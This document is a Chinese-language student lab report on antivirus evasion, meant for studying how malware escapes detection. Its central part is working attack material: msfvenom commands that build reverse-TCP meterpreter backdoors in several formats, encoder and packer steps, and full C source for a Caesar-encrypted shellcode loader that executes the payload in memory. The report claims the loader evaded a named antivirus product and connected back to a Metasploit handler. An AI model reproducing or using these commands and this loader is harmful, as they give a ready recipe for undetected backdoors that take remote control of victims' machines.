- 实验内容
1.1 实践内容
-
正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
-
通过组合应用各种技术实现恶意代码免杀
-
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 回答问题
- 杀软是如何检测出恶意代码的?
(1)特征码扫描:这是最传统的检测方法之一。杀软会维护一个已知恶意软件签名(或称作特征码)的数据库。当软件扫描系统中的文件时,它会将这些文件与数据库中的特征码进行比对。如果找到匹配项,则该文件可能会被标记为恶意软件。
(2)启发式分析:这种方法不依赖于具体的特征码,而是基于已知的恶意行为模式来检测未知的恶意软件。启发式分析可以识别具有可疑行为的程序,即使它们没有出现在特征码数据库中。
(3)沙盒技术:在虚拟环境中运行可疑程序,观察其行为。如果程序表现出恶意行为(如试图修改系统关键设置、自我复制等),则可以认为它是恶意软件。
(4)行为监控:杀软可以监视应用程序的行为,并根据其活动判断是否为恶意行为。例如,如果某个程序试图隐藏自身或者修改其他程序的代码,那么这个程序就可能被怀疑是恶意的。
(5)云查杀技术:使用云端的大数据分析能力,上传可疑文件的哈希值到服务器上进行比对,从而确定文件的安全性。这种方式可以快速更新病毒库,提高检测效率。
(6)机器学习/人工智能:近年来,机器学习也被应用于恶意软件检测。通过训练算法来识别恶意软件的模式,并且随着数据量的增加,模型可以不断优化,提高检测准确率。
(7)实时保护:杀软可以在操作系统层面上提供保护,监控文件的创建、删除以及修改活动,及时阻止任何潜在威胁。
- 免杀是做什么?
免杀是一种能使病毒木马免于被杀毒软件查杀的技术,用于使恶意软件逃避反病毒软件(杀软)的检测,从而能够在目标计算机系统中执行而不被发现。
- 免杀的基本方法有哪些?
(1)特征码变换:每次感染时改变自身的代码结构,使得每次生成的恶意代码都不同,从而避免被基于特征码的检测所识别。或者对恶意代码进行加密,只有在运行时才解密执行,使得静态分析无法轻易识别。
(2)行为隐蔽:恶意软件在安装后不立即执行其恶意行为,而是等待一段时间或特定条件满足后再行动,以此降低被检测的概率。
(3)代码混淆:通过复杂的编码或混淆技术,使得代码难以阅读和分析,比如“加花”。
(4)资源嵌入:将恶意代码嵌入到正常的应用程序或文档中,使其看起来无害。
(5)远程加载:恶意代码不在本地存储,而是从外部服务器下载并执行。
(6)0-day漏洞利用:利用尚未被公开或修复的安全漏洞进行攻击,因为这些漏洞还未被安全软件识别,所以可以逃避检测。
(7)社会工程学:使用欺骗性的社会工程手法诱骗用户主动执行恶意软件,如钓鱼邮件、恶意链接等。
1.3 本周学习内容
(1)简单后门实践
netcat工具:探测端口是否开放、局域网聊天、文件传输、正向连接、反向连接(-e重定向马上连接)
Meterpreter工具:Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道(shell)。
Veil Evasion:veil-evasion是linux平台的一款免杀工具,用来生成msf的payload(+meterpreter),能绕过常见的杀软。(生成免杀工具)
(2)恶意代码
学习恶意代码的目的在于理解其工作原理,从而更好地防御和检测它们。
恶意代码类型:了解不同类型的恶意代码,如病毒、蠕虫、木马、后门、勒索软件等,以及它们的特点和危害。
恶意代码生命周期:研究恶意代码从编写、传播到执行的整个过程,包括如何进入系统、如何维持存在以及如何执行恶意行为。
检测与防御:学习如何使用各种工具和技术来检测和防御恶意代码,包括但不限于特征码检测、行为分析、沙盒技术、入侵检测系统(IDS)等。
案例分析:分析历史上著名的恶意软件事件,了解它们的工作机制及其影响,从中吸取经验教训。
- 实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(1)生成不编码的后门程序:
输入msfvenom --list formats
查看msfvenom支持的所有输出格式:
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2313 -f exe > 20222313_1.exe
将exe放入 - Virustatol进行检测:
可以看到,检测得出,该exe并不隐蔽,可以被xxxx供应商检测到。
(2)生成编码1次的后门程序:
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.91.128 LPORT=2313 -f exe > 20222313_2.exe
使用编
码器生成后面程序20222313_2.exe。
将exe放入 - Virustatol进行检测:
可以看到,
(3)生成编码20次的后门程序:
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\\x00' LHOST=192.168.91.128 LPORT=2313 -f exe > 20222313_3.exe
使用编码器生成程序20222313_3.exe。
解释这个命令的各个部分:
-p windows/meterpreter/reverse_tcp: 指定生成的Payload类型为Meterpreter反向TCP shell,用于与攻击者的监听器建立连接。
-e /x86/shikata_ga_nai: 使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力。
-i 20: 指定编码器的迭代次数为20次,用于增加混淆程度。
-b ‘\x00’: 指定要避免的字符,这里是避免空字符\x00,以防止在传输过程中被误解释。
将exe放入 - Virustatol进行检测:
可以看到,
(4)使用msfvenom生成其他格式的后门文件
采用msfvenom指令通过选择不同的payload,来生成不同格式的后门文件,包括.jar文件、.php文件、.py文件以及.apk文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2313 -f jar > 20222313.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2313 x > 20222313.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2313 -f py > 20222313.py
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2313 x > 20222313.apk
分别将以上各类型的后门程序上传至VirusTotal进行检测,结果如下。
2.2 使用Veil生成后门程序
(1)下载配置Veil
安装veil,依次输入以下命令:
sudo apt -y install veil
cd /usr/share/veil./config/setup.sh --force --silent
可以看到veil下载成功,中间需要输入一次密码。
下载配置成功后将会出现以下界面。
(2)使用veil
可以看到Evasion(躲避模块)是第一个选项,输入use 1
进入Evasion模块。
输入list
查看所有可用的载荷种类。
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7
。
进行配置,输入以下信息。
set LHOST 192.168.91.128
set LPORT 2313
generate
下面会提示生成的具体内容和生成后文件所在的位置。
测试这个文件的检出率
2.3 采用C+shellcode来试图实现免杀
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.128 LPORT=2313 -f c
来获取一段shellcode编码。
用生成的shellcode编写一个c文件。
利用指令i686-w64-mingw32-g++ 20222313_c.c -o 20222313_c.exe
进行编译,得到exe文件。
测试这个文件的检出率,发现是45/71,有一定的免杀效果。
2.4 加壳处理来试图实现免杀
(1)压缩加壳
输入指令upx 20222313_c.exe -o 20222313_cupx.exe
,对后门文件进行压缩加壳,可以看到压缩率为56.40%,生成文件20222313_cupx.exe。
将20222313_cupx.exe上传至VirusTotal检测,检测率为46/72,反而变高了,说明这个壳的特征性已经被大多数厂家发现。
(2)加密加壳
输入指令:
cp 20222313_c.exe /usr/share/windows-resources/hyperion/
(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion
(进入工作目录)
wine hyperion.exe -v 20222313_c.exe s20222313_chyp.exe
(对文件进行加密加壳)
在/usr/share/windows-resources/hyperion中找到s20222313_chyp.exe,上传检测,检测率又升高了,高达53/73,说明该壳的特征也被广泛记录。
2.5 通过组合应用各种技术实现恶意代码免杀
组合技术:msfvenom生成Shellcode数组,再使用凯撒加密对数组进行加密,将密文放到txt中,再编写C语言代码,从txt文件中读取密文,解密并运行Shellcode,最后生成.exe可执行文件。
下列是20222313_shellcode.cpp的代码。
点击查看代码
#include <stdio.h>
#include<string.h>
//凯撒加密函数,适用于unsigned char数组
void caesarEncrypt(unsigned char *data, size_t length, int shift)
{
for (size_t i = 0; i < length; i++){
// 对每个字节进行位移
data[i]= (data[i] + shift) & 0xFF;
}
}
int main(){
unsigned char buf[] =
"\xba\x43\xba\x0e\x0d\xda\xd0\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\xd9\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2\xb6\x02"
"\x0d\x52\xba\x17\xc8\xa9\x63\xa3\xc8\xc5\xc9\x65\xd8\x97"
"\x3e\x44\x98\xc5\xc3\xe5\x0e\x69\x02\xb2\x4e\xfc\x9b\xea"
"\x51\xa9\x04\x17\xd2\xe7\xe9\xff\x19\x11\x97\x1e\x64\x77"
"\x2a\x40\x1a\x13\x49\xdb\x18\x71\x45\x5f\xc5\xd6\x6d\xf3"
"\xf6\x98\x02\xd4\xc5\xcd\x4c\x33\x69\x49\x54\xb2\x6b\x4b"
"\xa7\x68\xa2\xa1\x47\x68\x5f\x43\x1d\x52\x59\x33\x4c\x57"
"\x7d\x63\x74\xac\x59\x44\x75\xb9\xf0\x5e\x76\x69\xab\x41"
"\xfd\xac\xc7\xa0\x29\x14\x94\x76\x95\x03\xb0\xbe\x04\x32"
"\x9c\x01\x1b\x05\xaa\x7f\xc5\xbe\x69\x56\x87\x04\x4d\xdf"
"\xe7\x16\x88\xb7\x1c\x0e\xf9\x90\xc0\x25\x62\xfd\x6d\xfe"
"\xcc\xc5\xb4\x31\x90\xba\x59\x03\x3c\xd9\xd4\x95\xe7\xd0"
"\xfd\x1a\xc1\x76\x85\xd6\x03\x92\xe3\xe6\x14\xa0\x56\xd0"
"\x2b\xe0\xac\xa8\x40\x7a\x31\xb8\x2f\x0b\x18\xa8\x3a\x97"
"\x73\x06\x76\xc1\x95\xd0\x21\x20\x6e\xba\x9d\xfe\x07\xab"
"\x11\x83\x68\xef\xc9\x34\xc3\x01\xe0\x29\x9a\x45\x02\xcf"
"\x63\x4c\xa1\x50\x1e\x05\x6f\x05\x0e\xab\x26\x5b\xd6\x45"
"\xc3\x98\xd5\x97\x1d\xbf\x2b\x13\x53\x93\x0f\x93\x3f\x92"
"\x39\xc7\x5a\x1f\x6f\xbe\x37\xee\x06\x39\xff\x92\x6c\xec"
"\x6c\xbf\x4b\x31\x95\x14\xf2\x97\x0f\x4c\x01\xdd\xb5\xa9"
"\xf6\x88\x97\x44\x64\x6f\x25\x7e\xb4\xed\x62\x22\x09\x94"
"\x30\x87\xbc\xf8\x94\x14\xbb\xfa\xe6\x1e\x43\x49\xf3\x97"
"\x0f\xc2\xa8\x0f\xe7\x31\x76\xea\x53\x59\x15\x75\x49\x29"
"\xca\x7b\x08\xbe\xa5\x11\x8c\xc4\xbb\xc7\xab\x5a\xfe\x97"
"\x2a\xbe\x09\x5a\x5c\x32\xc9\x96\xc6\xae\x10\x7f\xad\x36"
"\x8f\x50\xf4\x03\x14\xfa\x3c\x68\x51\x09\x51\x20\xf2\x63"
"\xd2\x55\xc4\x8b\x86\x8b\xb9\xab\x6f\x6c\xbf\x08\x09\xde"
"\x2a\x4a\x44\xc1\x5e\x4e\xa8\x2b\x79\xec\xa9\x48\xcf\x8b"
"\x56\xe2\x19\x8d\xd1\x52\x61\x0b\x43\xbc\xba\x31\x96\x98"
"\xf9\x3b\x2a\x1c\x21\x38\xbd\xaa\x5a\x59\x80\xd7\x90\x9c"
"\x27\x86\xa1\x86\x12\xcd\x85\x57\x2e\x5b\x21\xcc\x49\x38"
"\xfe\x4f\x2c\x31\x59\x51\x86\xf1\x3a\x05\x2d\x3c\x86\x58"
"\xfa\x23\xa8\xc6\x5e\xd2\x99\x93\xe8\x7e\x85\xbb\x94\xd9"
"\x99\xcd\xc1\xfe\x54\x10\x43\x46\xbd\xc5\x19\x26\xce\xf4"
"\xd5\xf7\x57\x3c\x41\x8e\x2f\x5b\xca\x2f\xe0\xd9\x84\x36"
"\xd5\x59\xdb\x53\x9e\xd4\xf7\xfc\x4d\xae\x3e\xc6\x2c\x71"
"\x7b\xdb\x79\x89\xc8\x71\xb4\x10\x55\xfa\xac\x99\x96\x3f"
"\x54\xec\x6e\x40\x4a\xc6\x84\x32\x77\x0b\x4d\x79\x68\xfe"
"\x59\x10\x6a\x71\xf6\xc1\xde\x3a\x46\x73\x3c\x37\x7c\x0e"
"\xcb\xf1\xde\x7f\x46\xf0\x75\xf6\x58\x2b\x3b\xb4\x21\x17"
"\x89\x12\x73\x2f\x3a\xff\x2b\x3c\x81\x5a\x21\x65\x35\xb4"
"\x49\xe9\x95\x8d\xdf\x2b\x94\xb5\xa4\xb0\x28\x47\xfc\x73"
"\xd9\xf7\x69\x90\xfa\x09\xa9\x80\x1c\xc2\x5c\x7a\x21\xb4"
"\xdf\xb4\x01\x5a\x99\x03\x90\x48\x2e\x5a\x1f\x86\x98\x68"
"\x07\x85\xfa\x01\x23\xbf\x1f\x6c\x51\xed\x93\x54\xe0\x6f"
"\x76\x2f\xd7\xa9\x70\xc3\x43\xbd\x25\xd2\x82\x37\xe8\x14"
"\x58\xc4\x6f\x40\xef\x59\x9a\x95\x73\x7c\x41\xf1\x1d\xa4"
"\x86\x78\xd7\x83\xc8\xdc\x8c\xfd\x5d\xdd\xcc\x75\xec\x7b"
"\x8c\x0b\x25\xca\x04\x8b\x86\xbb\x16\xfb\x3a\xa1\x3e\xaa"
"\x81\x49\x6d\x4d\xcc\x89\x48\x7a\x1d\x75\xca\x7e\x05\xa9"
"\x16\xf1\x26\x12\xde\x43\xb2\x45\x85\x1a\x78\xf1\xc8\x8b"
"\x89\xe8\x94\x56\x21\x85\x27\xb1\xef\x1c\x79\x5b\x58\xdc"
"\x2b\x68\xa3\x05\x91\x75\x0f\x4d\x6b\x82\x5f\x11\xb5\x40"
"\x72\xee\xe1\x35\x38\x33\xbe\x1f\x4e\x23\x6d\xc7\x61\xcc"
"\x89\x60\x4a\xc6\x02\x0d\x3b\xb0\x20\x11\x52\x0d\xce\x15"
"\x99\xb9\x71\xd4\xed\x3c\xf6\x44\xcb\x1c\x95\x22\xc3\xbe"
"\xd3\xa9\x48\x4d\x33\xd2\x9c\xac\x83\x06\xd5\x60\xf8\xeb"
"\xae\x5e\x82\x3f\xfc\xc6\x84\xc7\xc5\x89\xaf\x01\xe6\x70"
"\x8b\x1f\x45\xfb\x55\xdc\x33\x39\x90\xa3\x7b\x31\xb8\xef"
"\xc2\xf4\x29\xff\x87\xfd\x90\xfb\xac\x25\xf0\x89\x05\x12"
"\xc6\x8b\xa4\x45\xa1\x83\x60\x27\xa1\x1b\xe6\xe7\xb1\x5d"
"\x3f\x5e\xde\x44\x7c\xce\xd5\x91\xd3\xb5\xa1\xf8\x44\xde"
"\x31\x13\xf4\x75\xbf\x74\x86\xb7\x72\x91\x32\xa4";
int shift =3; // 加密位移
printf("original: ");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x",buf[i]);
}
printf("\n");
caesarEncrypt(buf,510,shift);
printf("Encrypted:");
for (size_t i =0;i< 510; i++){
printf("\\x%02x",buf[i]);
}
printf("\n");
FILE *file = fopen("20222313_shellcode.txt", "w");
if (file != NULL) {
for (size_t i = 0; i < 510; i++) {
fprintf(file, "\\x%02x", buf[i]);
}
fprintf(file, "\n");
fclose(file);
}
else {
printf("Error opening file!\n");
}
return 0;
}
编辑并运行该文件,同时新建20222313_sc.cpp文件,输入代码,代码功能为读取20222313_shellcode.txt文件中的内容到buf[]数组中,并进行解密,再运行shellcode。
下列为20222313_sc.cpp的代码。
点击查看代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 凯撒解密函数,适用于unsigned char数组
void caesarDecrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
// 对每个字节进行位移
data[i] = (unsigned char)((data[i] - shift + 256) % 256);
}
}
int main() {
int shift = 3; // 凯撒加密的位移值
unsigned char buf[511]; // 假设文件中的内容不超过510字节
char line[1024]; // 用于读取文件的临时缓冲区
// 打开文件
FILE *file = fopen("20222313_shellcode.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
// 读取文件内容到shellcode1数组中
size_t length = 0;
while (fgets(line, sizeof(line), file)) {
// 将读取的十六进制字符串转换为字节并存储在shellcode1中
for (size_t i = 0; line[i] != '\0' && line[i] != '\n'; i += 1) {
if (sscanf(&line[i], "\\x%02hhx", &buf[length]) == 1) {
length++;
}
}
}
fclose(file);
// 解密shellcode
caesarDecrypt(buf, length, shift);
// 输出解密后的shellcode
printf("Decrypted Shellcode:\n");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x", buf[i]);
}
printf("\n");
// 分配内存并设置为可执行
LPVOID exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将解密后的shellcode复制到分配的内存中
memcpy(exec, buf, sizeof buf);
// 执行shellcode
((void(*)())exec)();
return 0;
}
全部运行完成后共有五个文件及程序。
使用金山毒霸对该文件夹进行查杀,没有发现病毒程序。
2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:Windows11 x64(王蓉的)
杀毒引擎:金山毒霸
输入msfconsole
打开控制台。
依次输入命令:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.85.132
set LPORT 8888
run
连接成功,输入ls查询文件。
- 实验问题
3.1 问题:在生成经过编码的后门程序时,kali提示没有找到编译器。
解决方案:经过查询得知,报错的原因可能是指令里有些字符被识别为指令,导致编译错误无法编译,于是我将'\x00'
改为'\\x00'
,编译就能正常进行。
3.2 问题:输入apt-get update时,报错does the network require authentication
解决方案:更新apt时是在教室进行的,教室的网需要验证,无法更新,切换实验地点到图书馆时成功更新。
-
学习感悟、思考
通过本次实验,我系统地学习了如何使用诸如Metasploit Framework(MSF)编码器、Veil框架等工具,以及了解了C语言结合Shellcode编程等高级技术在安全研究中的应用。我还掌握了如何使用这些技术模拟恶意程序的行为,以测试它们在各种安全软件中的可检测性,并学会利用如VirusTotal这样的在线服务来评估检测规避的效果。此次实验不仅极大地加深了我对安全检测规避技术原理的理解,还增强了我在安全研究领域的实践能力和对信息安全重要性的认识。
在实验过程中,我熟悉了多种安全研究工具和技术,包括MSF编码、Veil框架下的检测规避策略、以及代码加密技术等。整体而言,这次实验非常有趣且富有教育意义。检测规避技术作为网络攻击者尝试逃避安全检测的一种手段,使我认识到网络安全防护与攻击之间持续不断的对抗。一方面,安全软件持续进化以抵御新型威胁;另一方面,研究者也在努力开发新的技术来识别并防御这些威胁。通过对检测规避原理与实践的研究,我深刻体会到网络安全是一个动态变化的领域,必须持续学习先进的安全技术,提升自身的安全意识和防护能力,以确保合法用户的信息安全。